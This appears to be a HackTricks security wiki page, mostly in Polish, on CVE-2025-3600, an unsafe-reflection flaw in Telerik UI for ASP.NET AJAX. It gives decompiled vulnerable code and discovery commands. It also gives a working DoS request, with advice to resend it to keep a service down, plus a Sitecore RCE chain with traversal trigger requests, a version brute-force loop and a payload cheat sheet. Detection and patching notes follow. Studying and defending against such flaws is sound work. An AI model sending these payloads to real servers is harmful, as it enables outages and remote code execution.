Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks

Pre‑auth wykonanie konstruktora w Telerik UI for ASP.NET AJAX Image Editor cache handler umożliwia uniwersalny DoS i, w wielu aplikacjach, pre‑auth RCE za pomocą gadgetów specyficznych dla celu (CVE-2025-3600).

TL;DR

  • Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). Exposed pre‑auth in many products.
  • Primitive: Atakujący kontroluje nazwę typu (prtype). Handler rozwiązuje ją za pomocą Type.GetType() i wywołuje Activator.CreateInstance() zanim sprawdzi typ-bezpieczeństwo interfejsu. Dowolny publiczny konstruktor .NET bez parametrów zostanie uruchomiony.
  • Impact:
    • Uniwersalny pre‑auth DoS za pomocą gadgetu .NET framework (PowerShell WSMan finalizer).
    • Często eskaluje do pre‑auth RCE w rzeczywistych wdrożeniach przez nadużycie gadgetów specyficznych dla aplikacji, szczególnie niebezpiecznych AppDomain.AssemblyResolve handlers.
    • Fix: Aktualizacja do Telerik UI for ASP.NET AJAX 2025.1.416+ lub usunięcie/zablokowanie handlera.

Affected versions

  • Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) are vulnerable.
  • Fixed in 2025.1.416 (released 2025-04-29). Patch immediately or remove/lock down the handler.

Affected surface and quick discovery

  • Check exposure:
    • GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
    • Inspect web.config for handlers mapping to Telerik.Web.UI.WebResource.axd.
    • Do not rely on finding Telerik strings on / or login pages. Real products such as Sitecore often expose the handler without referencing it in the default HTML.
  • Trigger path for the vulnerable code-path requires: type=iec, dkey=1, and prtype=.

Example probe and generic trigger:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Uwagi

  • Niektóre PoCs używają dtype; implementacja sprawdza dkey==“1” dla procesu pobierania.
  • prtype musi być assembly-qualified lub rozwiązywalny w bieżącym AppDomain.

Przydatne sprawdzenia kodu i operacji

<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />

<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'

Szybkie ustalenie wersji na starych instalacjach

Jeśli ta sama aplikacja udostępnia też legacy handler type=rau, starsze Telerik tooling mogą nadal pomóc Ci fingerprint the shared Telerik.Web.UI.dll version przed próbą badania type=iec. To nie exploit-uje bezpośrednio CVE-2025-3600; jedynie opiera się na fakcie, że rau i iec znajdują się w tym samym assembly.

Zastosowanie praktyczne:

  • Jeśli type=rau jest reachable, użyj klasycznego major-version brute force ze starszych RAU tooling, aby odzyskać dokładną wersję Telerik.Web.UI assembly.
  • Porównaj odzyskaną wersję z podatnym zakresem (2011.2.712 do 2025.1.218) oraz z naprawionym buildem (2025.1.416+).
  • Brak type=rau traktuj jako niejednoznaczny. iec może nadal być exposed nawet gdy rau jest wyłączony lub filtrowany.

Przykład z legacy CVE-2019-18935.py helper:

for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done

Dlaczego to pomaga:

  • Aplikacje enterprise często zawierają przestarzałe buildy Telerik przez lata.
  • Red teams mogą szybko odróżnić “handler exposed” od “likely still on a vulnerable DLL”.
  • Podczas incident response ten sam trik pomaga ograniczyć zakres dużych flot IIS, gdy dostęp do systemu plików nie jest od razu dostępny.

Przyczyna – unsafe reflection w ImageEditorCacheHandler

Przepływ pobierania cache Image Editor tworzy instancję typu podanego w prtype, a dopiero później rzutuje ją na ICacheImageProvider i waliduje klucz pobierania. Konstruktor został już wywołany, gdy walidacja zawiedzie.

Istotny zdekompilowany przepływ ```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }

private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Podstawowy mechanizm exploita: Kontrolowany string typu → Type.GetType rozwiązuje go → Activator.CreateInstance wywołuje jego publiczny konstruktor bez parametrów. Nawet jeśli żądanie zostanie później odrzucone, efekty uboczne gadgetu już wystąpiły.

## Uniwersalny DoS gadget (nie wymaga gadżetów specyficznych dla aplikacji)

Klasa: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper w System.Management.Automation (PowerShell) ma finalizer, który zwalnia niezainicjalizowany uchwyt, powodując nieobsłużony wyjątek, gdy GC go finalizuje. To niezawodnie powoduje awarię procesu roboczego IIS wkrótce po utworzeniu instancji.

Jednorazowe żądanie DoS:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Uwagi

  • Wysyłaj okresowo, aby utrzymać serwis offline. Możesz zaobserwować wywołanie konstruktora w debuggerze; awaria następuje przy finalizacji.

Od DoS do RCE – wzorce eskalacji

Wykonanie niebezpiecznego konstruktora odblokowuje wiele specyficznych dla celu gadgetów i łańcuchów. Szukaj:

  1. Konstruktory bez parametrów, które przetwarzają dane od atakującego
  • Niektóre ctors (lub statyczne inicjalizatory) natychmiast czytają Request query/body/cookies/headers i (de)serializują je.
  • Przykład (Sitecore): łańcuch ctorów dociera do GetLayoutDefinition(), która odczytuje HTTP body “layout” i deserializuje JSON via JSON.NET.
  1. Konstruktory, które operują na plikach
  • Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
  1. Konstruktory wykonujące operacje specyficzne dla aplikacji
  • Resetowanie stanu, przełączanie modułów lub zakończenie procesów.
  1. Konstruktory/statyczne ctory, które rejestrują AppDomain event handlers
  • Wiele aplikacji dodaje AppDomain.CurrentDomain.AssemblyResolve handlers, które budują ścieżki DLL z args.Name bez sanitizacji. Jeśli możesz wpłynąć na rozwiązywanie typów, możesz wymusić ładowanie dowolnych DLL ze ścieżek kontrolowanych przez atakującego.
  1. Wymuszenie AssemblyResolve za pomocą Type.GetType
  • Zażądaj nieistniejącego typu, aby wymusić rozwiązywanie przez CLR i wywołać zarejestrowane (możliwie niebezpieczne) resolvery. Przykład assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. Finalizery z destrukcyjnymi skutkami ubocznymi
  • Niektóre typy usuwają pliki o ustalonej ścieżce w finalizerach. W połączeniu z podążaniem za linkami lub przewidywalnymi ścieżkami może to umożliwić lokalne eskalowanie uprawnień w niektórych środowiskach.

Przykładowy pre‑auth RCE chain (Sitecore XP)

  • Krok 1 – Pre‑auth: Wywołaj typ, którego static/instance ctor rejestruje niebezpieczny AssemblyResolve handler (np. Sitecore’s FolderControlSource w ControlFactory).
  • Krok 2 – Post‑auth: Uzyskaj możliwość zapisu w katalogu sprawdzanym przez resolver (np. poprzez auth bypass lub weak upload) i podłóż złośliwy DLL.
  • Krok 3 – Pre‑auth: Użyj CVE‑2025‑3600 z nieistniejącym typem i nazwą assembly zawierającą traversal, aby zmusić resolver do załadowania podłożonego DLL → wykonanie kodu jako IIS worker.

Przykłady wyzwalaczy

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Weryfikacja, poszukiwania i notatki DFIR

  • Bezpieczna walidacja w labie: Fire the DoS payload and watch for app pool recycle/unhandled exception tied to the WSMan finalizer.
  • Poszukiwania w telemetryce:
  • Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
  • Failed type loads and AppDomain.AssemblyResolve events.
  • Sudden w3wp.exe crashes/recycles following such requests.

Mitigacja

  • Patch to Telerik UI for ASP.NET AJAX 2025.1.416 or later.
  • Usuń lub ogranicz wystawienie Telerik.Web.UI.WebResource.axd tam, gdzie to możliwe (WAF/rewrites).
  • Zignoruj lub utwardź obsługę prtype po stronie serwera (upgrade stosuje właściwe kontrole przed instancjonowaniem).
  • Przeaudytuj i utwardź niestandardowe handlery AppDomain.AssemblyResolve. Avoid building paths from args.Name without sanitization; prefer strong-named loads or whitelists.
  • Ogranicz lokalizacje upload/write i zapobiegaj upuszczaniu DLL do katalogów przeszukiwanych przez aplikację.
  • Monitoruj próby ładowania nieistniejących typów, by wykryć nadużycia resolvera.

Szybka ściągawka

  • Sprawdzenie obecności:
  • GET /Telerik.Web.UI.WebResource.axd
  • Sprawdź mapowanie handlera w web.config
  • Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Uniwersalny DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • Wywołaj resolver:
This.Class.Does.Not.Exist, watchTowr

Powiązane techniki

  • IIS post-exploitation, .NET key extraction i in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization i nadużycia machineKey:

Exploiting __VIEWSTATE without knowing the secrets

Referencje

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks